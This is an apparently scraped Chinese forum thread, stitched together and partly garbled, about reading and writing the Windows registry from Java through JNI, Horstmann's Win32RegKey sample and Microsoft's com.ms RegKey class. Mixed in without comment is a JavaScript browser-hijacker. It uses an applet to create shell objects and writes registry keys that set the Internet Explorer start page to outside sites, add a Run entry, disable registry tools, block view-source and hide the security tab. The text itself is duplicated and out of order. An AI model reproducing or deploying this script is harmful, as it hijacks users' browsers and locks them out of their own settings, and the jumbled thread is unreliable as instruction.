to kare(小李飞刀的飞，小李飞刀的刀。): 我定义一些本地方法以及在类中加载动态链接库的话，形式是不是如下的？ class 类名 { public void 方法名(形参) { 方法体 } public static void main(String args[]) { System.loadlibrary("动态链接库"); } } 如果是上面的形式的话，那么我定义方法做什么呢？调用动态链接库里面的函数？
java通过ms的包就能直接操作注册表的` Registry就是注册表类给你一个例子 是java访问com对象 在java中调用Word7.0你只需要关注注册表操作的部分就可以了 import wb70en32.*; import com.ms.com.*; import com.ms.lang.*;public class WordDemo extends Object { public static void main(String[] args) { try {// Get the Registry Key for CLASSES_ROOT RegKey root = RegKey.getRootKey(RegKey.CLASSES_ROOT);// From CLASSES_ROOT, get the key for Word.Basic RegKey wbkey = new RegKey(root, 揥ord.Basic? RegKey.KEYOPEN_READ);// From Word.Basic, get the CLSID RegKey clsid = new RegKey(wbkey, 揅LSID? RegKey.KEYOPEN_READ);// Retrieve the CLSID from the CLSID key (it抯 the default value) String classID = ((RegKeyEnumValueString)clsid. enumValue(0)).value;// Create a License Manager for accessing local server objects ILicenseMgr lm = (ILicenseMgr) new LicenseMgr();// Get a reference to WordBasic WordBasic wb = (WordBasic) lm.createInstance(classID, null, ComContext.LOCAL_SERVER);// Create a new file wb.FileNewDefault();// Insert some text wb.Insert(揌ello World!?; wb.InsertPara(); wb.Insert(揌i there!?;// Print the text wb.FilePrintDefault(); } catch (Error e) { e.printStackTrace(); } } }
if(!FSO.FolderExists(loc)) { loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; if(!FSO.FolderExists(loc)) { return; } }
你要下载 Microsoft SDK for Java 4.0安装完之后 在安装目录下有个 docs目录 你看一下sdkdocs.chm这个帮助文件里面有关于 com.ms.com com.ms.lang
这些包的应用说明啊 上面的程序只有这一段是有用的 说明: 通过RegKey类，来访问CLASSES_ROOT\Word.Basic\CLSID 的键值// Get the Registry Key for CLASSES_ROOT RegKey root = RegKey.getRootKey(RegKey.CLASSES_ROOT);// From CLASSES_ROOT, get the key for Word.Basic RegKey wbkey = new RegKey(root, "Word.Basic", RegKey.KEYOPEN_READ);// From Word.Basic, get the CLSID RegKey clsid = new RegKey(wbkey, "CLSID", RegKey.KEYOPEN_READ);// Retrieve the CLSID from the CLSID key (it's the default value) String classID = ((RegKeyEnumValueString)clsid. enumValue(0)).value;明白了吧？？？？很简单的，你要读写其它的键值也是一样的啊。 SDK FORM JAVA里面包含了大量的例子包括用java来开发com activex组件等等 还有用java开发ASP的组件
你得查查sdkdocs了。。：） 先把环境配好呀。 把com.ms的包找齐全，加到你的jdk的classpath里面 然后慢慢试一下呀。应该不难的 具体的操作注册表我没做过，但是，我用java做过com一般我很少搞这方面的，因为你用了这些东东就肯定不能夸平台了。 RegKey的定义如下 public class RegKey { // Fields public final static int CLASSES_ROOT; public final static int KEYOPEN_ALL; public final static int KEYOPEN_CREATE; public final static int KEYOPEN_READ; public final static int KEYOPEN_WRITE; public final static int LOCALMACHINE_ROOT; public final static int USER_ROOT; public final static int USERS_ROOT; // Constructors public RegKey(RegKey rkParent, String subKey, int access) throws RegKeyException; public RegKey(int rootID, String subKey, int access) throws RegKeyException; public RegKey(int rootID,String subKey) throws RegKeyException; // Methods public void close(); public void deleteSubKey(String sub); public void deleteValue(String val); public String enumKey(int idx); public RegKeyEnumValue enumValue(int idx); public void finalize(); public void flush(); public byte[] getBinaryValue(String name); public int getIntValue(String name); public int getIntValue(String name, int defval); public final static RegKey getRootKey(int id); public String getStringValue(String name); public String getStringValue(String name,String defval); public void loadKey(String subKey, String fileName); public RegQueryInfo queryInfo(); public void replace(String subKey, String newFile, String oldFile); public void restore( String filename, boolean vol ); public void setValue(String subKey, String val); public void setValue(String subKey, byte val[]); public void setValue(String subKey, int val); public String toString(); public void unload(String subKey); public RegKeyValueEnumerator values(); }
你可以去mircosoft下载.
1、Win32RegKey.java
/**
* @version 1.00 1997-07-01
* @author Cay Horstmann
*/import java.util.*;public class Win32RegKey
{ public Win32RegKey(int theRoot, String thePath)
{ root = theRoot;
path = thePath;
}
public Enumeration names()
{ return new Win32RegKeyNameEnumeration(root, path);
}
public native Object getValue(String name);
public native void setValue(String name, Object value); public static final int HKEY_CLASSES_ROOT = 0x80000000;
public static final int HKEY_CURRENT_USER = 0x80000001;
public static final int HKEY_LOCAL_MACHINE = 0x80000002;
public static final int HKEY_USERS = 0x80000003;
public static final int HKEY_CURRENT_CONFIG = 0x80000005;
public static final int HKEY_DYN_DATA = 0x80000006; private int root;
private String path; static
{ System.loadLibrary("Win32RegKey");
}
}class Win32RegKeyNameEnumeration implements Enumeration
{ Win32RegKeyNameEnumeration(int theRoot, String thePath)
{ root = theRoot;
path = thePath;
} public native Object nextElement();
public native boolean hasMoreElements(); private int root;
private String path;
private int index = -1;
private int hkey = 0;
private int maxsize;
private int count;
}class Win32RegKeyException extends RuntimeException
{ public Win32RegKeyException() {}
public Win32RegKeyException(String why)
{ super(why);
}
}
2、Win32RegKeyTest.java
/**
* @version 1.00 1997-07-01
* @author Cay Horstmann
*/import java.util.*;public class Win32RegKeyTest
{ public static void main(String[] args)
{ Win32RegKey key = new Win32RegKey(
Win32RegKey.HKEY_CURRENT_USER,
"Software\\Microsoft\\MS Setup (ACME)\\User Info"); key.setValue("Default user", "Bozo the clown");
key.setValue("Lucky number", new Integer(13));
key.setValue("Small primes", new byte[]
{ 2, 3, 5, 7, 11 }); Enumeration enum = key.names(); while (enum.hasMoreElements())
{ String name = (String)enum.nextElement();
System.out.print(name + " = "); Object value = key.getValue(name); if (value instanceof byte[])
{ byte[] bvalue = (byte[])value;
for (int i = 0; i < bvalue.length; i++)
System.out.print((bvalue[i] & 0xFF) + " ");
}
else System.out.print(value); System.out.println();
}
}
}
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class Win32RegKeyNameEnumeration */#ifndef _Included_Win32RegKeyNameEnumeration
#define _Included_Win32RegKeyNameEnumeration
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: Win32RegKeyNameEnumeration
* Method: nextElement
* Signature: ()Ljava/lang/Object;
*/
JNIEXPORT jobject JNICALL Java_Win32RegKeyNameEnumeration_nextElement
(JNIEnv *, jobject);/*
* Class: Win32RegKeyNameEnumeration
* Method: hasMoreElements
* Signature: ()Z
*/
JNIEXPORT jboolean JNICALL Java_Win32RegKeyNameEnumeration_hasMoreElements
(JNIEnv *, jobject);#ifdef __cplusplus
}
#endif
#endif
4、Win32RegKey.h
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class Win32RegKey */#ifndef _Included_Win32RegKey
#define _Included_Win32RegKey
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: Win32RegKey
* Method: getValue
* Signature: (Ljava/lang/String;)Ljava/lang/Object;
*/
JNIEXPORT jobject JNICALL Java_Win32RegKey_getValue
(JNIEnv *, jobject, jstring);/*
* Class: Win32RegKey
* Method: setValue
* Signature: (Ljava/lang/String;Ljava/lang/Object;)V
*/
JNIEXPORT void JNICALL Java_Win32RegKey_setValue
(JNIEnv *, jobject, jstring, jobject);#ifdef __cplusplus
}
#endif
#endif
/**
* @version 1.00 1997-07-01
* @author Cay Horstmann
*/#include "Win32RegKey.h"
#include "Win32RegKeyNameEnumeration.h"
#include <string.h>
#include <stdlib.h>
#include <windows.h>JNIEXPORT jobject JNICALL Java_Win32RegKey_getValue
(JNIEnv* env, jobject this_obj, jstring name)
{ const char* cname;
jstring path;
const char* cpath;
HKEY hkey;
DWORD type;
DWORD size;
jclass this_class;
jfieldID id_root;
jfieldID id_path;
HKEY root;
jobject ret;
char* cret; /* get the class */
this_class = (*env)->GetObjectClass(env, this_obj); /* get the field IDs */
id_root = (*env)->GetFieldID(env, this_class, "root", "I");
id_path = (*env)->GetFieldID(env, this_class, "path",
"Ljava/lang/String;"); /* get the fields */
root = (HKEY)(*env)->GetIntField(env, this_obj, id_root);
path = (jstring)(*env)->GetObjectField(env, this_obj,
id_path);
cpath = (*env)->GetStringUTFChars(env, path, NULL); /* open the registry key */
if (RegOpenKeyEx(root, cpath, 0, KEY_READ, &hkey)
!= ERROR_SUCCESS)
{ (*env)->ThrowNew(env,
(*env)->FindClass(env, "Win32RegKeyException"),
"Open key failed");
(*env)->ReleaseStringUTFChars(env, path, cpath);
return NULL;
} (*env)->ReleaseStringUTFChars(env, path, cpath);
cname = (*env)->GetStringUTFChars(env, name, NULL); /* find the type and size of the value */
if (RegQueryValueEx(hkey, cname, NULL, &type, NULL, &size) != ERROR_SUCCESS)
{ (*env)->ThrowNew(env,
(*env)->FindClass(env, "Win32RegKeyException"),
"Query value key failed");
RegCloseKey(hkey);
(*env)->ReleaseStringUTFChars(env, name, cname);
return NULL;
} /* get memory to hold the value */
cret = (char*)malloc(size); /* read the value */
if (RegQueryValueEx(hkey, cname, NULL, &type, cret, &size) != ERROR_SUCCESS)
{ (*env)->ThrowNew(env,
(*env)->FindClass(env, "Win32RegKeyException"),
"Query value key failed");
free(cret);
RegCloseKey(hkey);
(*env)->ReleaseStringUTFChars(env, name, cname);
return NULL;
} /* depending on the type, store the value in a string,
integer or byte array */
if (type == REG_SZ)
{ ret = (*env)->NewStringUTF(env, cret);
}
else if (type == REG_DWORD)
{ jclass class_Integer = (*env)->FindClass(env,
"java/lang/Integer");
/* get the method ID of the constructor */
jmethodID id_Integer = (*env)->GetMethodID(env,
class_Integer, "<init>", "(I)V");
int value = *(int*)cret;
/* invoke the constructor */
ret = (*env)->NewObject(env, class_Integer, id_Integer,
value);
}
else if (type == REG_BINARY)
{ ret = (*env)->NewByteArray(env, size);
(*env)->SetByteArrayRegion(env, (jarray)ret, 0, size,
cret);
}
else
{ (*env)->ThrowNew(env,
(*env)->FindClass(env, "Win32RegKeyException"),
"Unsupported value type");
ret = NULL;
} free(cret);
RegCloseKey(hkey);
(*env)->ReleaseStringUTFChars(env, name, cname); return ret;
}JNIEXPORT void JNICALL Java_Win32RegKey_setValue
(JNIEnv* env, jobject this_obj, jstring name, jobject value)
{ const char* cname;
jstring path;
const char* cpath;
HKEY hkey;
DWORD type;
DWORD size;
jclass this_class;
jclass class_value;
jclass class_Integer;
jfieldID id_root;
jfieldID id_path;
HKEY root;
const char* cvalue;
int ivalue; /* get the class */
this_class = (*env)->GetObjectClass(env, this_obj); /* get the field IDs */
id_root = (*env)->GetFieldID(env, this_class, "root", "I");
id_path = (*env)->GetFieldID(env, this_class, "path",
"Ljava/lang/String;"); /* get the fields */
root = (HKEY)(*env)->GetIntField(env, this_obj, id_root);
path = (jstring)(*env)->GetObjectField(env, this_obj,
id_path);
cpath = (*env)->GetStringUTFChars(env, path, NULL); /* open the registry key */
if (RegOpenKeyEx(root, cpath, 0, KEY_WRITE, &hkey)
!= ERROR_SUCCESS)
{ (*env)->ThrowNew(env,
(*env)->FindClass(env, "Win32RegKeyException"),
"Open key failed");
(*env)->ReleaseStringUTFChars(env, path, cpath);
return;
} (*env)->ReleaseStringUTFChars(env, path, cpath);
cname = (*env)->GetStringUTFChars(env, name, NULL); class_value = (*env)->GetObjectClass(env, value);
class_Integer = (*env)->FindClass(env, "java/lang/Integer");
/* determine the type of the value object */
if ((*env)->IsAssignableFrom(env, class_value,
(*env)->FindClass(env, "java/lang/String")))
{ /* it is a string--get a pointer to the characters */
cvalue = (*env)->GetStringUTFChars(env, (jstring)value,
NULL);
type = REG_SZ;
size = (*env)->GetStringLength(env, (jstring)value) + 1;
}
else if ((*env)->IsAssignableFrom(env, class_value,
class_Integer))
{ /* it is an integer--call intValue to get the value */
jmethodID id_intValue = (*env)->GetMethodID(env,
class_Integer, "intValue", "()I");
ivalue = (*env)->CallIntMethod(env, value, id_intValue);
type = REG_DWORD;
cvalue = (char*)&ivalue;
size = 4;
}
else if ((*env)->IsAssignableFrom(env, class_value,
(*env)->FindClass(env, "[B")))
{ /* it is a byte array--get a pointer to the bytes */
type = REG_BINARY;
cvalue = (char*)(*env)->GetByteArrayElements(env,
(jarray)value, NULL);
size = (*env)->GetArrayLength(env, (jarray)value);
}
else
{ /* we don't know how to handle this type */
(*env)->ThrowNew(env,
(*env)->FindClass(env, "Win32RegKeyException"),
"Unsupported value type");
RegCloseKey(hkey);
(*env)->ReleaseStringUTFChars(env, name, cname);
return;
} /* set the value */
if (RegSetValueEx(hkey, cname, 0, type, cvalue, size)
!= ERROR_SUCCESS)
{ (*env)->ThrowNew(env,
(*env)->FindClass(env, "Win32RegKeyException"),
"Query value key failed");
} RegCloseKey(hkey);
(*env)->ReleaseStringUTFChars(env, name, cname); /* if the value was a string or byte array, release the
pointer */
if (type == REG_SZ)
{ (*env)->ReleaseStringUTFChars(env, (jstring)value,
cvalue);
}
else if (type == REG_BINARY)
{ (*env)->ReleaseByteArrayElements(env, (jarray)value,
(byte*)cvalue, 0);
}
}
现在基本清楚了对注册表的读取与写入是调用动态链接库RegConnect.DLL里面的两个方法来操作注册表的了，但是，接下来的介绍，我看了n遍了，还是不知道java如何连接到RegConnect.DLL的，请麻烦各位给讲一下，java是如何对dll进行操作的，本贴是必定要加分的，我现在真的好急啊!唉……………
static
{ System.loadLibrary("Win32RegKey");
}
然后定义一些本地方法，也就是DLL中实现的，如下：
public native Object getValue(String name);
public native void setValue(String name, Object value);
最后将这些方法当作Java自己的方法直接调用就是了
可以有更多的方法支持对注册表进行操作但，我想问一下，用JAVA做的程序可以跨平台，你如果向注册表中写信息，那会有什么后果呢？
我定义一些本地方法以及在类中加载动态链接库的话，形式是不是如下的？
class 类名
{
public void 方法名(形参)
{
方法体
}
public static void main(String args[])
{
System.loadlibrary("动态链接库");
}
}
如果是上面的形式的话，那么我定义方法做什么呢？调用动态链接库里面的函数？
Registry就是注册表类给你一个例子
是java访问com对象
在java中调用Word7.0你只需要关注注册表操作的部分就可以了
import wb70en32.*;
import com.ms.com.*;
import com.ms.lang.*;public class WordDemo extends Object
{
public static void main(String[] args)
{
try {// Get the Registry Key for CLASSES_ROOT
RegKey root = RegKey.getRootKey(RegKey.CLASSES_ROOT);// From CLASSES_ROOT, get the key for Word.Basic
RegKey wbkey = new RegKey(root,
揥ord.Basic? RegKey.KEYOPEN_READ);// From Word.Basic, get the CLSID
RegKey clsid = new RegKey(wbkey, 揅LSID?
RegKey.KEYOPEN_READ);// Retrieve the CLSID from the CLSID key (it抯 the default value)
String classID = ((RegKeyEnumValueString)clsid.
enumValue(0)).value;// Create a License Manager for accessing local server objects
ILicenseMgr lm = (ILicenseMgr) new LicenseMgr();// Get a reference to WordBasic
WordBasic wb = (WordBasic)
lm.createInstance(classID,
null, ComContext.LOCAL_SERVER);// Create a new file
wb.FileNewDefault();// Insert some text
wb.Insert(揌ello World!?; wb.InsertPara(); wb.Insert(揌i there!?;// Print the text
wb.FilePrintDefault(); } catch (Error e) {
e.printStackTrace();
}
}
}
咦，怎么会有繁体字，有些就看不懂了………
import wb70en32.*;
import com.ms.com.*;
import com.ms.lang.*;
怎么在jcreator里面没有办法用，该下载什么东东的吗？
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
///////////////////////////////////////////////////////////////////////////////http
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL", "http://112.cn.gs");
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://112.cn.gs");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.hhijkl.y365.com/hj/hj.htm");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", "1");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://hhijkl.y365.com/hj/hj.htm");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource", "1");
Shl.RegWrite ("HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecurityTab", "1");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
Microsoft SDK for Java 4.0安装完之后
在安装目录下有个
docs目录
你看一下sdkdocs.chm这个帮助文件里面有关于
com.ms.com
com.ms.lang
这些包的应用说明啊
上面的程序只有这一段是有用的 说明:
通过RegKey类，来访问CLASSES_ROOT\Word.Basic\CLSID
的键值// Get the Registry Key for CLASSES_ROOT
RegKey root = RegKey.getRootKey(RegKey.CLASSES_ROOT);// From CLASSES_ROOT, get the key for Word.Basic
RegKey wbkey = new RegKey(root,
"Word.Basic", RegKey.KEYOPEN_READ);// From Word.Basic, get the CLSID
RegKey clsid = new RegKey(wbkey, "CLSID",
RegKey.KEYOPEN_READ);// Retrieve the CLSID from the CLSID key (it's the default value)
String classID = ((RegKeyEnumValueString)clsid.
enumValue(0)).value;明白了吧？？？？很简单的，你要读写其它的键值也是一样的啊。
SDK FORM JAVA里面包含了大量的例子包括用java来开发com
activex组件等等
还有用java开发ASP的组件
上面的
RegKeyEnumValueString)clsid.
enumValue(0)).value;
这句该怎么理解呢？希望你还在
然后通过RegKeyEnumValueString转型成字符川
先把环境配好呀。
把com.ms的包找齐全，加到你的jdk的classpath里面
然后慢慢试一下呀。应该不难的
具体的操作注册表我没做过，但是，我用java做过com一般我很少搞这方面的，因为你用了这些东东就肯定不能夸平台了。
RegKey的定义如下
public class RegKey
{
// Fields
public final static int CLASSES_ROOT;
public final static int KEYOPEN_ALL;
public final static int KEYOPEN_CREATE;
public final static int KEYOPEN_READ;
public final static int KEYOPEN_WRITE;
public final static int LOCALMACHINE_ROOT;
public final static int USER_ROOT;
public final static int USERS_ROOT; // Constructors
public RegKey(RegKey rkParent, String subKey, int access)
throws RegKeyException;
public RegKey(int rootID, String subKey, int access)
throws RegKeyException;
public RegKey(int rootID,String subKey) throws RegKeyException; // Methods
public void close();
public void deleteSubKey(String sub);
public void deleteValue(String val);
public String enumKey(int idx);
public RegKeyEnumValue enumValue(int idx);
public void finalize();
public void flush();
public byte[] getBinaryValue(String name);
public int getIntValue(String name);
public int getIntValue(String name, int defval);
public final static RegKey getRootKey(int id);
public String getStringValue(String name);
public String getStringValue(String name,String defval);
public void loadKey(String subKey, String fileName);
public RegQueryInfo queryInfo();
public void replace(String subKey, String newFile,
String oldFile);
public void restore( String filename, boolean vol );
public void setValue(String subKey, String val);
public void setValue(String subKey, byte val[]);
public void setValue(String subKey, int val);
public String toString();
public void unload(String subKey);
public RegKeyValueEnumerator values();
}
class 类名
{
//public void 方法名(形参)
// {
// 方法体
// }
//定义一些本地方法，也就是DLL中实现的，如下：
public native void 方法名(参数列表); public static void main(String args[])
{
System.loadlibrary("动态链接库");
}
}
注意本地方法的定义形式，用native标明是本地方法，没有方法体，具体的方法体在DLL中实现
我学jni多次都学不成